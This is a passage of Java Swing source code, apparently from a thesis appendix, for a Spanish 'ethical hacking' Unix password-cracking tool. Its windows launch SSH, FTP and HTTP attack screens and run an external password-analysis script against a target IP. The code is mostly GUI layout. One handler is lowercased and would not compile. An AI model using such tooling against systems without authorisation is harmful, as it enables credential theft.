Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/analiza_passwd "+ip_final); is_descifra = p_descifra.getInputStream(); br_descifra = new BufferedReader (new InputStreamReader (is_descifra)); aux_descifra = br_descifra.readLine(); while (aux_descifra!=null ) { System.out.println (aux_descifra); cadena_total_descifra = cadena_total_descifra + '\n' + aux_descifra; aux_descifra = br_descifra.readLine(); } int status = p_descifra.waitFor(); return status == 0; } public String get_ip_analizada(){ return this.ip_final; } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new pantalla_attack_ftp(ip_final).setVisible(true); } }); } private Fecha time; private Reloj clock; static String cadena_passwords_obtenidos=""; static String password_obtenido =""; static String aux =""; static String cadena_total_passwd =""; static String passwd_final =""; static String ip_final =""; static int aux_valor=0; static int cont=0; static String cadena_total=""; static InputStream is_copia; static BufferedReader br_copia; static String aux_copia=""; static InputStream is_coloca; static BufferedReader br_coloca; static String aux_coloca=""; static InputStream is_extraelo; static BufferedReader br_extraelo; static String aux_extraelo=""; static InputStream is_descifra; static BufferedReader br_descifra; static String aux_descifra; static String cadena_total_descifra="";
239
static InputStream is_guardar_bd; static BufferedReader br_guardar_bd; static String aux_guardar_bd; static String cadena_total_guardar_bd=""; static String cadena_total_passwords=""; static InputStream is_clear; static BufferedReader br_clear; static String aux_clear; static InputStream is_red; static BufferedReader br_red; static String aux_red; static String cadena_total_red=""; static InputStream is; static BufferedReader br; private javax.swing.JButton boton_analiza; private javax.swing.JButton boton_ayuda; private javax.swing.JButton boton_exec_análisis; private javax.swing.JButton boton_exec_attack; private javax.swing.JButton boton_execute_extract; private javax.swing.JButton boton_logs; private javax.swing.JButton boton_retorno; private javax.swing.JButton boton_stop_análisis; private javax.swing.JButton boton_stop_attack; private javax.swing.JButton boton_stop_extract; private javax.swing.JButton execute_ip; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel10; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JLabel jLabel6; private javax.swing.JLabel jLabel7; private javax.swing.JLabel jLabel8; private javax.swing.JLabel jLabel9; private javax.swing.JScrollPane jScrollPane1; private javax.swing.JScrollPane jScrollPane2; private javax.swing.JScrollPane jScrollPane3; private javax.swing.JScrollPane jScrollPane4; private javax.swing.JEditorPane text_analiza_passwd; private javax.swing.JEditorPane text_attack; private javax.swing.JEditorPane text_estado_ip; private javax.swing.JEditorPane text_extract; }
240
Hackeo.java
import java.net.*; import java.io.*; import java.io.PrintStream; import javax.swing.JOptionPane; public class hackeo extends javax.swing.JFrame { public hackeo(String host) { ip_final=host; initComponents(); } private void initComponents() { jLabel1 = new javax.swing.JLabel(); botonhackeo = new javax.swing.JButton(); boton_xploit = new javax.swing.JButton(); boton_ssh = new javax.swing.JButton(); boton_general = new javax.swing.JButton(); jLabel2 = new javax.swing.JLabel(); jMenuBar1 = new javax.swing.JMenuBar(); scan = new javax.swing.JMenu(); scan_ip_puertos = new javax.swing.JMenuItem(); hackeo = new javax.swing.JMenu(); hacking_etico = new javax.swing.JMenuItem(); análisis = new javax.swing.JMenu(); análisis_claves = new javax.swing.JMenuItem(); reportes = new javax.swing.JMenu(); reportes_estadisticos = new javax.swing.JMenuItem(); estadisticas = new javax.swing.JMenu(); estadisticas_re = new javax.swing.JMenuItem(); ayuda = new javax.swing.JMenu(); ayudita = new javax.swing.JMenuItem(); acerca_de = new javax.swing.JMenu(); acerca_de_menu = new javax.swing.JMenuItem(); salir = new javax.swing.JMenu(); salida = new javax.swing.JMenuItem(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("Cracker de Passwords Unix 2007"); jLabel1.setFont(new java.awt.Font("Arial", 0, 18)); jLabel1.setForeground(new java.awt.Color(0, 0, 204)); jLabel1.setText("Pantalla de Ejecuci\u00f3n de Ataques remotos de Auditoria"); botonhackeo.setFont(new java.awt.Font("Arial", 1, 10)); botonhackeo.setForeground(new java.awt.Color(0, 102, 102)); botonhackeo.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); botonhackeo.setText("Ataque SSH"); botonhackeo.setToolTipText("Hackeo"); botonhackeo.addActionListener(new java.awt.event.ActionListener() {
241
public void actionPerformed(java.awt.event.ActionEvent evt) { botonhackeoActionPerformed(evt); } }); boton_xploit.setFont(new java.awt.Font("Arial", 1, 10)); boton_xploit.setForeground(new java.awt.Color(0, 102, 102)); boton_xploit.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); boton_xploit.setText("Ataque "); boton_xploit.setToolTipText("Hackeo"); boton_xploit.setEnabled(false); boton_xploit.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_xploitActionPerformed(evt); } }); boton_ssh.setFont(new java.awt.Font("Arial", 1, 10)); boton_ssh.setForeground(new java.awt.Color(0, 102, 102)); boton_ssh.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); boton_ssh.setText("Ataque"); boton_ssh.setToolTipText("Hackeo"); boton_ssh.setEnabled(false); boton_ssh.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_sshActionPerformed(evt); } }); boton_general.setFont(new java.awt.Font("Arial", 1, 10)); boton_general.setForeground(new java.awt.Color(0, 102, 102)); boton_general.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); boton_general.setText("Ataque"); boton_general.setToolTipText("Hackeo"); boton_general.setEnabled(false); boton_general.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_generalActionPerformed(evt); } }); jLabel2.setFont(new java.awt.Font("Arial", 0, 18)); jLabel2.setForeground(new java.awt.Color(0, 102, 102)); jLabel2.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/escudo_u.JPG")); scan.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); scan.setText("Scan"); scan.setToolTipText("Con esta opci on empieza el escaneo de maquinas");
242
scan.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\scan.gif")); scan_ip_puertos.setText("Scan del sistema"); scan_ip_puertos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { scan_ip_puertosActionPerformed(evt); } }); scan.add(scan_ip_puertos); jMenuBar1.add(scan); hackeo.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); hackeo.setText("Hackeo"); hackeo.setToolTipText("Con esta opcion empieza la diversi\u00f3n"); hackeo.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); hacking_etico.setText("Hackeo a lo salvaje"); hacking_etico.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { hacking_eticoActionPerformed(evt); } }); hackeo.add(hacking_etico); jMenuBar1.add(hackeo); análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); análisis.setText("An\u00e1lisis"); análisis.setToolTipText("Análisis de seguridad del sistema"); análisis.setEnabled(false); análisis.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\análisis.gif")); análisis_claves.setText("Analiisis de datos"); análisis_claves.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { análisis_clavesActionPerformed(evt); } }); análisis.add(análisis_claves); jMenuBar1.add(análisis); reportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); reportes.setText("Reportes");
243
reportes.setToolTipText("Con esta opcion se pueden visualizar los diferentes reportes"); reportes.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\start.gif")); reportes_estadisticos.setText("Reportes del sistema"); reportes_estadisticos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { reportes_estadisticosActionPerformed(evt); } }); reportes.add(reportes_estadisticos); jMenuBar1.add(reportes); estadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); estadisticas.setText("Estad\u00edstica"); estadisticas.setToolTipText("Esta opcion nos muestra las estadisticas del sistema"); estadisticas.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\estadisticas.gif")); estadisticas_re.setText("Estadisticas del sistema"); estadisticas.add(estadisticas_re); jMenuBar1.add(estadisticas); ayuda.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); ayuda.setText("Ayuda"); ayuda.setToolTipText("Esta opcion ofrece ayuda en linea"); ayuda.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\ayuda.GIF")); ayudita.setText("Ayuda en linea"); ayuda.add(ayudita); jMenuBar1.add(ayuda); acerca_de.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); acerca_de.setText("Acerca..."); acerca_de.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\acerca_de.GIF")); acerca_de_menu.setText("Creditos del programa"); acerca_de.add(acerca_de_menu); jMenuBar1.add(acerca_de); salir.setIcon(new
244
javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); salir.setText("Salir"); salir.setToolTipText("Salir del sistema"); salir.setFont(new java.awt.Font("Arial", 0, 10)); salida.setFont(new java.awt.Font("Arial", 0, 10)); salida.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\salir.GIF")); salida.setText("Salir del sistema"); salir.add(salida); jMenuBar1.add(salir); setJMenuBar(jMenuBar1); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(52, 52, 52) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING, false) .add(boton_general, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(botonhackeo, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .add(39, 39, 39) .add(jLabel2) .add(32, 32, 32) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(boton_ssh, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 144, Short.MAX_VALUE) .add(boton_xploit, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 144, Short.MAX_VALUE)) .add(38, 38, 38)) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap(65, Short.MAX_VALUE) .add(jLabel1) .add(47, 47, 47)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(28, 28, 28) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING)
245
.add(boton_xploit, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonhackeo, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 80, Short.MAX_VALUE) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) .add(boton_ssh, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(boton_general, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 37, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .add(layout.createSequentialGroup() .add(14, 14, 14) .add(jLabel2))) .addContainerGap(25, Short.MAX_VALUE)) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-609)/2, (screenSize.height-315)/2, 609, 315); }// </editor-fold> private void boton_generalActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_attack_http http = new pantalla_attack_http(); http.show(); } private void reportes_estadisticosActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void análisis_clavesActionPerformed(java.awt.event.ActionEvent evt) { } private void hacking_eticoActionPerformed(java.awt.event.ActionEvent evt) { hackeo hack = new hackeo(ip_final); hack.show(); } private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } private void boton_sshActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose();
246
Msg a=new Msg("AVISO","/root/hacking_etico_linux/imagenes/escudo_u.jpg","funcion aun en construccion","disculpe las molestias","en un futuro estara lista...gracias"); } private void boton_xploitActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); Msg a=new Msg("AVISO","/root/hacking_etico_linux/imagenes/escudo_u.jpg","funcion aun en construccion","disculpe las molestias","en un futuro estara lista...gracias"); } private void botonhackeoactionperformed(java.awt.event.actionevent evt) { hide();dispose(); pantalla_attack_ftp attack1= new pantalla_attack_ftp(ip_final); attack1.show(); } public static void main(String args[]) { java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new hackeo(ip_final).setVisible(true); } }); } static String ip_final=""; private javax.swing.JMenu acerca_de; private javax.swing.JMenuItem acerca_de_menu; private javax.swing.JMenu análisis; private javax.swing.JMenuItem análisis_claves; private javax.swing.JMenu ayuda; private javax.swing.JMenuItem ayudita; private javax.swing.JButton boton_general; private javax.swing.JButton boton_ssh; private javax.swing.JButton boton_xploit; private javax.swing.JButton botonhackeo; private javax.swing.JMenu estadisticas; private javax.swing.JMenuItem estadisticas_re; private javax.swing.JMenu hackeo; private javax.swing.JMenuItem hacking_etico; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JMenuBar jMenuBar1; private javax.swing.JMenu reportes; private javax.swing.JMenuItem reportes_estadisticos; private javax.swing.JMenuItem salida; private javax.swing.JMenu salir; private javax.swing.JMenu scan; private javax.swing.JMenuItem scan_ip_puertos; }
247
Parámetros_análisis.java
public class parametros_análisis extends javax.swing.JFrame { public parametros_análisis(String ip) { ip_final=ip; initComponents(); } private void initComponents() { jLabel2 = new javax.swing.JLabel(); jLabel11 = new javax.swing.JLabel(); jLabel13 = new javax.swing.JLabel(); jLabel14 = new javax.swing.JLabel(); jLabel15 = new javax.swing.JLabel(); jLabel16 = new javax.swing.JLabel(); text_alto = new javax.swing.JTextField(); text_medio = new javax.swing.JTextField(); text_bajo = new javax.swing.JTextField(); jLabel19 = new javax.swing.JLabel(); jLabel22 = new javax.swing.JLabel(); jLabel23 = new javax.swing.JLabel(); text_dias = new javax.swing.JTextField(); jLabel24 = new javax.swing.JLabel(); boton_aceptar = new javax.swing.JButton(); boton_limpiar = new javax.swing.JButton(); boton_salir = new javax.swing.JButton(); jLabel1 = new javax.swing.JLabel(); jLabel17 = new javax.swing.JLabel(); setTitle("METRICAS DE ANÁLISIS"); jLabel2.setFont(new java.awt.Font("Serif", 3, 18)); jLabel2.setForeground(new java.awt.Color(153, 153, 0)); jLabel2.setText("Par\u00e1metros de An\u00e1lisis"); jLabel11.setFont(new java.awt.Font("Serif", 3, 14)); jLabel11.setForeground(new java.awt.Color(0, 51, 255)); jLabel11.setText("Dias de vigencia del password-->"); jLabel13.setFont(new java.awt.Font("Serif", 3, 14)); jLabel13.setForeground(new java.awt.Color(255, 0, 51)); jLabel13.setText("Ingrese los porcentajes de seguridad a evaluar--->"); jLabel14.setFont(new java.awt.Font("Serif", 3, 14)); jLabel14.setForeground(new java.awt.Color(0, 51, 255)); jLabel14.setText("Alto--->"); jLabel15.setFont(new java.awt.Font("Serif", 3, 14)); jLabel15.setForeground(new java.awt.Color(0, 51, 255)); jLabel15.setText("Medio--->"); jLabel16.setFont(new java.awt.Font("Serif", 3, 14)); jLabel16.setForeground(new java.awt.Color(0, 51, 255)); jLabel16.setText("Bajo-->"); jLabel19.setFont(new java.awt.Font("Serif", 3, 14));
248
jLabel19.setForeground(new java.awt.Color(0, 51, 255)); jLabel19.setText("%"); jLabel22.setFont(new java.awt.Font("Serif", 3, 14)); jLabel22.setForeground(new java.awt.Color(0, 51, 255)); jLabel22.setText("%"); jLabel23.setFont(new java.awt.Font("Serif", 3, 14)); jLabel23.setForeground(new java.awt.Color(0, 51, 255)); jLabel23.setText("%"); jLabel24.setFont(new java.awt.Font("Serif", 3, 14)); jLabel24.setForeground(new java.awt.Color(0, 51, 255)); jLabel24.setText("Dias"); boton_aceptar.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_aceptar.setText("Aceptar"); boton_aceptar.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_aceptarActionPerformed(evt); } }); boton_limpiar.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_limpiar.setText("Limpiar"); boton_limpiar.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_limpiarActionPerformed(evt); } }); boton_salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cafe.gif")); boton_salir.setText("Salir"); jLabel1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/escudo_u.JPG")); jLabel17.setFont(new java.awt.Font("Serif", 3, 14)); jLabel17.setForeground(new java.awt.Color(255, 0, 51)); jLabel17.setText("Ingrese los dias de validez de passwd- ( dias solamente )"); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING)
249
.add(org.jdesktop.layout.GroupLayout.LEADING, jLabel16) .add(org.jdesktop.layout.GroupLayout.LEADING, jLabel14) .add(layout.createSequentialGroup() .add(jLabel15) .add(56, 56, 56))) .add(jLabel11)) .add(25, 25, 25) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) .add(org.jdesktop.layout.GroupLayout.LEADING, text_bajo, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 44, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(text_alto, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 44, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(text_medio, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 44, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(text_dias, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 44, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .add(layout.createSequentialGroup() .add(boton_aceptar) .add(55, 55, 55) .add(boton_limpiar))) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(boton_salir) .add(jLabel22) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel19)) .add(jLabel23)) .add(jLabel24, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .add(layout.createSequentialGroup() .add(135, 135, 135) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel2, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 219, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel1))) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel13)))
250
.addContainerGap(39, Short.MAX_VALUE)) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap(org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(jLabel17) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .addContainerGap() .add(jLabel2) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 23, Short.MAX_VALUE) .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel13) .add(17, 17, 17) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(jLabel14) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel15) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel16)) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(text_alto, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel19)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(text_medio, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel22)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(text_bajo, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel23))))
251
.addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(jLabel17) .add(20, 20, 20) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel11) .add(text_dias, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel24)) .add(21, 21, 21) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_aceptar) .add(boton_salir) .add(boton_limpiar)) .addContainerGap()) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-462)/2, (screenSize.height-493)/2, 462, 493); }// </editor-fold> private void boton_limpiarActionPerformed(java.awt.event.ActionEvent evt) { alto=0; medio=0; bajo=0; valida_alto=""; valida_medio=""; valida_bajo=""; valida_fecha=""; flag_alto = false; flag_medio = false; flag_bajo = false; flag_fecha = false; fleg = false; text_alto.setText(""); text_medio.setText(""); text_bajo.setText(""); text_dias.setText(""); } private void boton_aceptarActionPerformed(java.awt.event.ActionEvent evt) { valida_alto=""; valida_medio=""; valida_bajo=""; valida_fecha=""; flag_alto = false; flag_medio = false; flag_bajo = false; flag_fecha = false; alto=0; medio=0; bajo=0; try{ valida_alto = text_alto.getText().trim(); for (int i =0;i<valida_alto.length();i++) {
252
if(valida_alto.charAt(i) != '0' && valida_alto.charAt(i) != '1' && valida_alto.charAt(i) != '2' && valida_alto.charAt(i) != '3' && valida_alto.charAt(i) != '4' && valida_alto.charAt(i) != '5' && valida_alto.charAt(i) != '6' && valida_alto.charAt(i) != '7' && valida_alto.charAt(i) != '8' && valida_alto.charAt(i) != '9') { flag_alto = true; } if (i>1) { flag_alto = true; } } if (flag_alto ==true) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","el campo % alto debe ser un número de maximo dos digitos","ingrese un valor correcto de maximo dos digitos","vuelvalo a intentar..."); text_alto.setText(""); } valida_medio = text_medio.getText().trim(); for (int i =0;i<valida_medio.length();i++) { if(valida_medio.charAt(i) != '0' && valida_medio.charAt(i) != '1' && valida_medio.charAt(i) != '2' && valida_medio.charAt(i) != '3' && valida_medio.charAt(i) != '4' && valida_medio.charAt(i) != '5' && valida_medio.charAt(i) != '6' && valida_medio.charAt(i) != '7' && valida_medio.charAt(i) != '8' && valida_medio.charAt(i) != '9') { flag_medio = true; } if (i>1) { flag_medio = true; } } if (flag_medio ==true) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","el campo % medio debe ser un número de maximo dos digitos","ingrese un valor correcto de maximo dos digitos","vuelvalo a intentar..."); text_medio.setText(""); } valida_bajo = text_bajo.getText().trim(); for (int i =0;i<valida_bajo.length();i++) { if(valida_bajo.charAt(i) != '0' && valida_bajo.charAt(i) != '1' && valida_bajo.charAt(i) != '2' && valida_bajo.charAt(i) != '3' && valida_bajo.charAt(i) !=
253
'4' && valida_bajo.charAt(i) != '5' && valida_bajo.charAt(i) != '6' && valida_bajo.charAt(i) != '7' && valida_bajo.charAt(i) != '8' && valida_bajo.charAt(i) != '9') { flag_bajo = true; } if (i>1) { flag_bajo = true; } } if (flag_bajo ==true) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","el campo % bajo debe ser un número de maximo dos digitos","ingrese un valor correcto de maximo dos digitos","vuelvalo a intentar..."); text_bajo.setText(""); } alto = new Integer(valida_alto).intValue(); medio = new Integer(valida_medio).intValue(); bajo = new Integer(valida_bajo).intValue(); if ( alto <= medio || alto <= bajo || medio <= bajo || alto ==0 || medio ==0 || bajo==0) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","los % se han ingreaso de modo incorrecto..","consulte con el manual de ayuda.","vuelvalo a intentar..."); text_alto.setText(""); text_medio.setText(""); text_bajo.setText(""); fleg = true; } valida_fecha = text_dias.getText().trim(); for (int i =0;i<valida_fecha.length();i++) { if(valida_fecha.charAt(i) != '0' && valida_fecha.charAt(i) != '1' && valida_fecha.charAt(i) != '2' && valida_fecha.charAt(i) != '3' && valida_fecha.charAt(i) != '4' && valida_fecha.charAt(i) != '5' && valida_fecha.charAt(i) != '6' && valida_fecha.charAt(i) != '7' && valida_fecha.charAt(i) != '8' && valida_fecha.charAt(i) != '9') { flag_fecha = true; } if (i>2) { flag_fecha = true; } } if (flag_fecha ==true) {
254
Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","el campo dias de vigencia de passwd debe ser un número de maximo tres digitos","ingrese un valor correcto de maximo dos digitos","vuelvalo a intentar..."); text_dias.setText(""); } if(valida_alto.trim()!="" && valida_bajo.trim()!="" && valida_medio.trim()!="" && valida_fecha.trim()!="" && fleg == false && flag_fecha ==false) { hide(); dispose(); análisis Análisis = new análisis(ip_final,valida_alto,valida_medio,valida_bajo,valida_fecha); Análisis.show(); }else{ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.jpg","los campos no estan llenos completamente","ingrese los valores correctos de maximo dos digitos","vuelvalo a intentar..."); alto=0;
medio=0; bajo=0;
valida_alto=""; valida_medio=""; valida_bajo="";
valida_fecha=""; flag_alto = false; flag_medio = false; flag_bajo = false; flag_fecha = false; fleg = false; text_alto.setText(""); text_medio.setText(""); text_bajo.setText(""); text_dias.setText(""); } }catch(Exception e){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","los campos no estan llenos completamente","ingrese los valores correctos de maximo dos digitos","vuelvalo a intentar..."); alto=0; medio=0; bajo=0; valida_alto="";
valida_medio=""; valida_bajo="";
valida_fecha=""; flag_alto = false; flag_medio = false; flag_bajo = false; flag_fecha = false; fleg = false;
255
